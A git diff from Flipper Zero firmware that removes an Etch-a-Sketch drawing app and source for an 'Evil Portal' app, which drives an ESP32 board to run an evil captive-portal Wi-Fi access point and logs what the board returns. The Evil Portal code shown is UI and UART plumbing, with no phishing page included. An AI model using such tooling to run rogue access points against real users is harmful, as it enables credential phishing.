for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/etch_a_sketch/application.fam b/applications/external/etch_a_sketch/application.fam deleted file mode 100644 index 2f6cd9136..000000000 --- a/applications/external/etch_a_sketch/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="etch", - name="Etch a Sketch", - apptype=FlipperAppType.EXTERNAL, - entry_point="etch_a_sketch_app", - cdefines=["APP_ETCH_A_SKETCH"], - requires=["gui"], - stack_size=2 * 1024, - fap_icon="etch-a-sketch-icon.png", - fap_category="Media", - fap_icon_assets="assets", - fap_author="@SimplyMinimal", - fap_weburl="https://github.com/SimplyMinimal/FlipperZero-Etch-A-Sketch", - fap_version="1.0", - fap_description="Turn the Flipper Zero into an Etch A Sketch", -) diff --git a/applications/external/etch_a_sketch/etch-a-sketch-icon.png b/applications/external/etch_a_sketch/etch-a-sketch-icon.png deleted file mode 100644 index 567c16900e0368518dee59c52cc8f2dcd25600cb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 239 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2VGmzZ%#=aj&1qS$pxbE4rCowUxu&}VTwROji z9smFTPfbnr^Ye>|i8+1xw6(SMoH=v0ZQIt?*4EI_P*70d<>l4c**SOaTn`VAzkmOl zo13SlrA0+W<>%*TW@g&i*&XIpr~?|#S>O>_%)r2R1cVurPy zctC-N<-p_?hZJ_1-}+aKO&-+hI@kz0JW^BKaQWoN`q~XEq;xBm#Q0qG@>{W1|Mj-b iAw6YtuK(RrS`#;$>9mph#iu~?7(8A5T-G@yGywokYFp+2 diff --git a/applications/external/etch_a_sketch/etch_a_sketch.c b/applications/external/etch_a_sketch/etch_a_sketch.c deleted file mode 100644 index bc15d7e0c..000000000 --- a/applications/external/etch_a_sketch/etch_a_sketch.c +++ /dev/null @@ -1,275 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include // Header-file for boolean data-type. -#include -#include -#include "etch_icons.h" -#include - -#define WIDTH 64 -#define HEIGHT 32 - -const int brush_size = 2; - -typedef struct selected_position { - int x; - int y; -} selected_position; - -typedef struct { - FuriMutex* mutex; - selected_position selected; - bool board[64][32]; - bool isDrawing; - bool showWelcome; -} EtchData; - -// Sequence to indicate that drawing is enabled. -const NotificationSequence sequence_begin_draw = { - &message_display_backlight_on, - - // Vibrate to indicate that drawing is enabled. - &message_vibro_on, - &message_note_g5, - &message_delay_50, - &message_note_c6, - &message_delay_50, - &message_note_e5, - &message_vibro_off, - &message_sound_off, - NULL, -}; - -// sequence to indicate that drawing is disabled -const NotificationSequence sequence_end_draw = { - &message_red_0, - // Indicate that drawing is disabled. - &message_vibro_on, - &message_note_g5, - &message_delay_50, - &message_note_e5, - &message_delay_50, - &message_vibro_off, - &message_sound_off, - &message_do_not_reset, - NULL, -}; - -// Indicate that drawing is enabled. -const NotificationSequence sequence_draw_enabled = { - &message_red_255, - &message_do_not_reset, - NULL, -}; - -// Indicate that drawing is disabled. -const NotificationSequence sequence_draw_disabled = { - &message_red_0, - &message_do_not_reset, - NULL, -}; - -const NotificationSequence sequence_cleanup = { - &message_red_0, - &message_green_0, - &message_blue_0, - &message_sound_off, - &message_vibro_off, - NULL, -}; - -void etch_draw_callback(Canvas* canvas, void* ctx) { - furi_assert(ctx); - const EtchData* etch_state = ctx; - furi_mutex_acquire(etch_state->mutex, FuriWaitForever); - - canvas_clear(canvas); - - // Show Welcome Message - if(etch_state->showWelcome) { - // Draw Etch A Sketch frame - canvas_draw_frame(canvas, 5, 3, 119, 55); // Border - canvas_draw_icon(canvas, 8, 50, &I_Ok_btn_pressed_13x13); // Left Knob - canvas_draw_icon(canvas, 107, 50, &I_Ok_btn_pressed_13x13); // Right Knob - - // Draw Etch A Sketch text banner - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 36, 15, "Etch A Sketch"); - - // Draw Etch A Sketch instructions "Hold Back to clear" - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 31, 26, "* Hold "); - canvas_draw_icon(canvas, 59, 18, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 72, 26, "to clear"); - - // Draw Etch A Sketch instructions "Hold OK button to draw" - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 31, 37, "* Hold"); - canvas_draw_icon(canvas, 61, 30, &I_ButtonCenter_7x7); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 72, 37, "to draw"); - } - - canvas_set_color(canvas, ColorBlack); - //draw the canvas(64x32) on screen(144x64) using brush_size*brush_size tiles - for(int y = 0; y < 32; y++) { - for(int x = 0; x < 64; x++) { - if(etch_state->board[x][y]) { - canvas_draw_box(canvas, x * brush_size, y * brush_size, 2, 2); - } - } - } - - //draw cursor as a brush_size by brush_size black box - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, - etch_state->selected.x * brush_size, - etch_state->selected.y * brush_size, - brush_size, - brush_size); - - //release the mutex - furi_mutex_release(etch_state->mutex); -} - -void etch_input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - furi_message_queue_put(event_queue, input_event, FuriWaitForever); -} - -int32_t etch_a_sketch_app(void* p) { - UNUSED(p); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - EtchData* etch_state = malloc(sizeof(EtchData)); - etch_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!etch_state->mutex) { - FURI_LOG_E("etch", "cannot create mutex\r\n"); - free(etch_state); - return -1; - } - - // Configure view port - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, etch_draw_callback, etch_state); - view_port_input_callback_set(view_port, etch_input_callback, event_queue); - - // Register view port in GUI - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - - InputEvent event; - - // Show Welcome Banner - etch_state->showWelcome = true; - - while(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) { - //break out of the loop if the back key is pressed - if(event.key == InputKeyBack && event.type == InputTypeShort) { - break; - } - - // Clear - // TODO: Do animation of shaking board - if(event.key == InputKeyBack && event.type == InputTypeLong) { - etch_state->showWelcome = false; - etch_state->board[1][1] = true; - for(int y = 0; y < 32; y++) { - for(int x = 0; x < 64; x++) { - etch_state->board[x][y] = false; - } - } - view_port_update(view_port); - } - - // Keep LED on while drawing - if(etch_state->isDrawing) { - notification_message(notification, &sequence_draw_enabled); - } else { - notification_message(notification, &sequence_draw_disabled); - } - - // Single Dot Select - if(event.key == InputKeyOk && event.type == InputTypeShort) { - etch_state->board[etch_state->selected.x][etch_state->selected.y] = - !etch_state->board[etch_state->selected.x][etch_state->selected.y]; - } - - // Start Drawing - if(event.key == InputKeyOk && event.type == InputTypeLong) { - // notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_begin_draw); - notification_message(notification, &sequence_begin_draw); - - if(etch_state->isDrawing) { - // We're ending the drawing - notification_message(notification, &sequence_end_draw); - } - - etch_state->isDrawing = !etch_state->isDrawing; - etch_state->board[etch_state->selected.x][etch_state->selected.y] = true; - - view_port_update(view_port); - } - - //check the key pressed and change x and y accordingly - if(event.type == InputTypeShort || event.type == InputTypeRepeat || - event.type == InputTypeLong) { - switch(event.key) { - case InputKeyUp: - etch_state->selected.y -= 1; - break; - case InputKeyDown: - etch_state->selected.y += 1; - break; - case InputKeyLeft: - etch_state->selected.x -= 1; - break; - case InputKeyRight: - etch_state->selected.x += 1; - break; - default: - break; - } - - //check if cursor position is out of bounds and reset it to the closest position - if(etch_state->selected.x < 0) { - etch_state->selected.x = 0; - } - if(etch_state->selected.x > 61) { - etch_state->selected.x = 61; - } - if(etch_state->selected.y < 0) { - etch_state->selected.y = 0; - } - if(etch_state->selected.y > 31) { - etch_state->selected.y = 31; - } - if(etch_state->isDrawing == true) { - etch_state->board[etch_state->selected.x][etch_state->selected.y] = true; - } - view_port_update(view_port); - } - } - - notification_message(notification, &sequence_cleanup); - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - furi_mutex_free(etch_state->mutex); - furi_message_queue_free(event_queue); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_GUI); - free(etch_state); - - return 0; -} diff --git a/applications/external/evil_portal/LICENSE.txt b/applications/external/evil_portal/LICENSE.txt deleted file mode 100644 index 2ae63a7f6..000000000 --- a/applications/external/evil_portal/LICENSE.txt +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2023 bigbrodude6119 - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/evil_portal/application.fam b/applications/external/evil_portal/application.fam deleted file mode 100644 index 6af0546c4..000000000 --- a/applications/external/evil_portal/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="evil_portal", - name="[ESP32] Evil Portal", - apptype=FlipperAppType.EXTERNAL, - entry_point="evil_portal_app", - cdefines=["APP_EVIL_PORTAL"], - requires=["gui"], - stack_size=1 * 1024, - fap_author="bigbrodude6119", - fap_description="Create an evil captive portal Wi-Fi access point", - fap_icon_assets="icons", - fap_icon="icons/evil_portal_10px.png", - fap_category="WiFi", -) diff --git a/applications/external/evil_portal/evil_portal_app.c b/applications/external/evil_portal/evil_portal_app.c deleted file mode 100644 index 8e091da40..000000000 --- a/applications/external/evil_portal/evil_portal_app.c +++ /dev/null @@ -1,146 +0,0 @@ -#include "evil_portal_app_i.h" -#include "helpers/evil_portal_storage.h" - -#include -#include - -static bool evil_portal_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - Evil_PortalApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool evil_portal_app_back_event_callback(void* context) { - furi_assert(context); - Evil_PortalApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void evil_portal_app_tick_event_callback(void* context) { - furi_assert(context); - Evil_PortalApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -Evil_PortalApp* evil_portal_app_alloc() { - Evil_PortalApp* app = malloc(sizeof(Evil_PortalApp)); - - app->sent_html = false; - app->sent_ap = false; - app->sent_reset = false; - app->has_command_queue = false; - app->command_index = 0; - app->portal_logs = furi_string_alloc(); - - app->dialogs = furi_record_open(RECORD_DIALOGS); - app->file_path = furi_string_alloc(); - - app->gui = furi_record_open(RECORD_GUI); - - app->view_dispatcher = view_dispatcher_alloc(); - - app->loading = loading_alloc(); - - app->scene_manager = scene_manager_alloc(&evil_portal_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, evil_portal_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, evil_portal_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, evil_portal_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->view_stack = view_stack_alloc(); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - Evil_PortalAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, Evil_PortalAppViewTextInput, text_input_get_view(app->text_input)); - - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - app->selected_option_index[i] = 0; - } - - app->text_box = text_box_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, Evil_PortalAppViewConsoleOutput, text_box_get_view(app->text_box)); - app->text_box_store = furi_string_alloc(); - furi_string_reserve(app->text_box_store, EVIL_PORTAL_TEXT_BOX_STORE_SIZE); - - scene_manager_next_scene(app->scene_manager, Evil_PortalSceneStart); - - return app; -} - -void evil_portal_app_free(Evil_PortalApp* app) { - // save latest logs - if(furi_string_utf8_length(app->portal_logs) > 0) { - write_logs(app->portal_logs); - furi_string_free(app->portal_logs); - } - - // Send reset event to dev board - evil_portal_uart_tx((uint8_t*)(RESET_CMD), strlen(RESET_CMD)); - evil_portal_uart_tx((uint8_t*)("\n"), 1); - - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewVarItemList); - view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput); - - text_box_free(app->text_box); - furi_string_free(app->text_box_store); - text_input_free(app->text_input); - - view_stack_free(app->view_stack); - loading_free(app->loading); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - evil_portal_uart_free(app->uart); - - // Close records - furi_record_close(RECORD_GUI); - - furi_record_close(RECORD_DIALOGS); - furi_string_free(app->file_path); - - free(app); -} - -int32_t evil_portal_app(void* p) { - UNUSED(p); - Evil_PortalApp* evil_portal_app = evil_portal_app_alloc(); - - uint8_t attempts = 0; - bool otg_was_enabled = furi_hal_power_is_otg_enabled(); - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - furi_delay_ms(200); - - evil_portal_app->uart = evil_portal_uart_init(evil_portal_app); - - view_dispatcher_run(evil_portal_app->view_dispatcher); - - evil_portal_app_free(evil_portal_app); - - if(furi_hal_power_is_otg_enabled() && !otg_was_enabled) { - furi_hal_power_disable_otg(); - } - - return 0; -} diff --git a/applications/external/evil_portal/evil_portal_app.h b/applications/external/evil_portal/evil_portal_app.h deleted file mode 100644 index bb663ec22..000000000 --- a/applications/external/evil_portal/evil_portal_app.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct Evil_PortalApp Evil_PortalApp; - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/evil_portal/evil_portal_app_i.h b/applications/external/evil_portal/evil_portal_app_i.h deleted file mode 100644 index 5fa6f62b8..000000000 --- a/applications/external/evil_portal/evil_portal_app_i.h +++ /dev/null @@ -1,77 +0,0 @@ -#pragma once - -#include "evil_portal_app.h" -#include "evil_portal_custom_event.h" -#include "evil_portal_uart.h" -#include "scenes/evil_portal_scene.h" -#include "evil_portal_icons.h" -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -#define NUM_MENU_ITEMS (6) - -#define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096) -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) - -#define SET_HTML_CMD "sethtml" -#define SET_AP_CMD "setap" -#define RESET_CMD "reset" - -struct Evil_PortalApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - FuriString* portal_logs; - const char* command_queue[1]; - int command_index; - bool has_command_queue; - - FuriString* text_box_store; - size_t text_box_store_strlen; - TextBox* text_box; - - VariableItemList* var_item_list; - Evil_PortalUart* uart; - TextInput* text_input; - DialogsApp* dialogs; - FuriString* file_path; - Loading* loading; - ViewStack* view_stack; - - int selected_menu_index; - int selected_option_index[NUM_MENU_ITEMS]; - const char* selected_tx_string; - bool is_command; - bool is_custom_tx_string; - bool focus_console_start; - bool show_stopscan_tip; - bool sent_ap; - bool sent_html; - bool sent_reset; - int BAUDRATE; - char text_store[2][128 + 1]; - - uint8_t* index_html; - uint8_t* ap_name; -}; - -typedef enum { - Evil_PortalAppViewVarItemList, - Evil_PortalAppViewConsoleOutput, - Evil_PortalAppViewStartPortal, - Evil_PortalAppViewTextInput, -} Evil_PortalAppView; diff --git a/applications/external/evil_portal/evil_portal_custom_event.h b/applications/external/evil_portal/evil_portal_custom_event.h deleted file mode 100644 index a4609e00a..000000000 --- a/applications/external/evil_portal/evil_portal_custom_event.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -typedef enum { - Evil_PortalEventRefreshConsoleOutput = 0, - Evil_PortalEventStartConsole, - Evil_PortalEventStartKeyboard, - Evil_PortalEventStartPortal, - Evil_PortalEventTextInput, -} Evil_PortalCustomEvent; diff --git a/applications/external/evil_portal/evil_portal_uart.c b/applications/external/evil_portal/evil_portal_uart.c deleted file mode 100644 index 8d88f7cf9..000000000 --- a/applications/external/evil_portal/evil_portal_uart.c +++ /dev/null @@ -1,157 +0,0 @@ -#include "evil_portal_app_i.h" -#include "evil_portal_uart.h" -#include "helpers/evil_portal_storage.h" - -struct Evil_PortalUart { - Evil_PortalApp* app; - FuriThread* rx_thread; - FuriStreamBuffer* rx_stream; - uint8_t rx_buf[RX_BUF_SIZE + 1]; - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context); -}; - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtRxDone = (1 << 1), -} WorkerEvtFlags; - -void evil_portal_uart_set_handle_rx_data_cb( - Evil_PortalUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) { - furi_assert(uart); - uart->handle_rx_data_cb = handle_rx_data_cb; -} - -#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) - -void evil_portal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - Evil_PortalUart* uart = (Evil_PortalUart*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(uart->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone); - } -} - -static int32_t uart_worker(void* context) { - Evil_PortalUart* uart = (void*)context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - if(events & WorkerEvtStop) break; - if(events & WorkerEvtRxDone) { - size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); - - if(len > 0) { - if(uart->handle_rx_data_cb) { - uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); - - if(uart->app->has_command_queue) { - if(uart->app->command_index < 1) { - if(0 == strncmp( - SET_AP_CMD, - uart->app->command_queue[uart->app->command_index], - strlen(SET_AP_CMD))) { - FuriString* out_data = furi_string_alloc(); - - furi_string_cat(out_data, "setap="); - furi_string_cat(out_data, (char*)uart->app->ap_name); - - evil_portal_uart_tx( - (uint8_t*)(furi_string_get_cstr(out_data)), - strlen(furi_string_get_cstr(out_data))); - evil_portal_uart_tx((uint8_t*)("\n"), 1); - - uart->app->sent_ap = true; - - free(out_data); - free(uart->app->ap_name); - } - - uart->app->command_index = 0; - uart->app->has_command_queue = false; - uart->app->command_queue[0] = ""; - } - } - - if(uart->app->sent_reset == false) { - furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf); - } - - if(furi_string_utf8_length(uart->app->portal_logs) > 4000) { - write_logs(uart->app->portal_logs); - furi_string_reset(uart->app->portal_logs); - } - } else { - uart->rx_buf[len] = '\0'; - if(uart->app->sent_reset == false) { - furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf); - } - - if(furi_string_utf8_length(uart->app->portal_logs) > 4000) { - write_logs(uart->app->portal_logs); - furi_string_reset(uart->app->portal_logs); - } - } - } - } - } - - furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL); - furi_stream_buffer_free(uart->rx_stream); - - return 0; -} - -void evil_portal_uart_tx(uint8_t* data, size_t len) { - furi_hal_uart_tx(UART_CH, data, len); -} - -Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app) { - Evil_PortalUart* uart = malloc(sizeof(Evil_PortalUart)); - uart->app = app; - // Init all rx stream and thread early to avoid crashes - uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); - uart->rx_thread = furi_thread_alloc(); - furi_thread_set_name(uart->rx_thread, "Evil_PortalUartRxThread"); - furi_thread_set_stack_size(uart->rx_thread, 1024); - furi_thread_set_context(uart->rx_thread, uart); - furi_thread_set_callback(uart->rx_thread, uart_worker); - - furi_thread_start(uart->rx_thread); - - if(UART_CH == FuriHalUartIdUSART1) { - furi_hal_console_disable(); - } else if(UART_CH == FuriHalUartIdLPUART1) { - furi_hal_uart_init(UART_CH, app->BAUDRATE); - } - - if(app->BAUDRATE == 0) { - app->BAUDRATE = 115200; - } - - furi_hal_uart_set_br(UART_CH, app->BAUDRATE); - furi_hal_uart_set_irq_cb(UART_CH, evil_portal_uart_on_irq_cb, uart); - - evil_portal_uart_tx((uint8_t*)("XFW#EVILPORTAL=1\n"), strlen("XFW#EVILPORTAL=1\n")); - - return uart; -} - -void evil_portal_uart_free(Evil_PortalUart* uart) { - furi_assert(uart); - - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop); - furi_thread_join(uart->rx_thread); - furi_thread_free(uart->rx_thread); - - if(UART_CH == FuriHalUartIdLPUART1) { - furi_hal_uart_deinit(UART_CH); - } else { - furi_hal_console_enable(); - } - - free(uart); -} diff --git a/applications/external/evil_portal/evil_portal_uart.h b/applications/external/evil_portal/evil_portal_uart.h deleted file mode 100644 index d7980a8e2..000000000 --- a/applications/external/evil_portal/evil_portal_uart.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include "furi_hal.h" - -#define RX_BUF_SIZE (320) - -typedef struct Evil_PortalUart Evil_PortalUart; - -void evil_portal_uart_set_handle_rx_data_cb( - Evil_PortalUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); -void evil_portal_uart_tx(uint8_t* data, size_t len); -Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app); -void evil_portal_uart_free(Evil_PortalUart* uart); diff --git a/applications/external/evil_portal/helpers/evil_portal_storage.c b/applications/external/evil_portal/helpers/evil_portal_storage.c deleted file mode 100644 index 22dd11dfb..000000000 --- a/applications/external/evil_portal/helpers/evil_portal_storage.c +++ /dev/null @@ -1,163 +0,0 @@ -#include "evil_portal_storage.h" - -static Storage* evil_portal_open_storage() { - return furi_record_open(RECORD_STORAGE); -} - -static void evil_portal_close_storage() { - furi_record_close(RECORD_STORAGE); -} - -void evil_portal_read_index_html(void* context) { - Evil_PortalApp* app = context; - Storage* storage = evil_portal_open_storage(); - FileInfo fi; - - if(!storage_common_exists(storage, 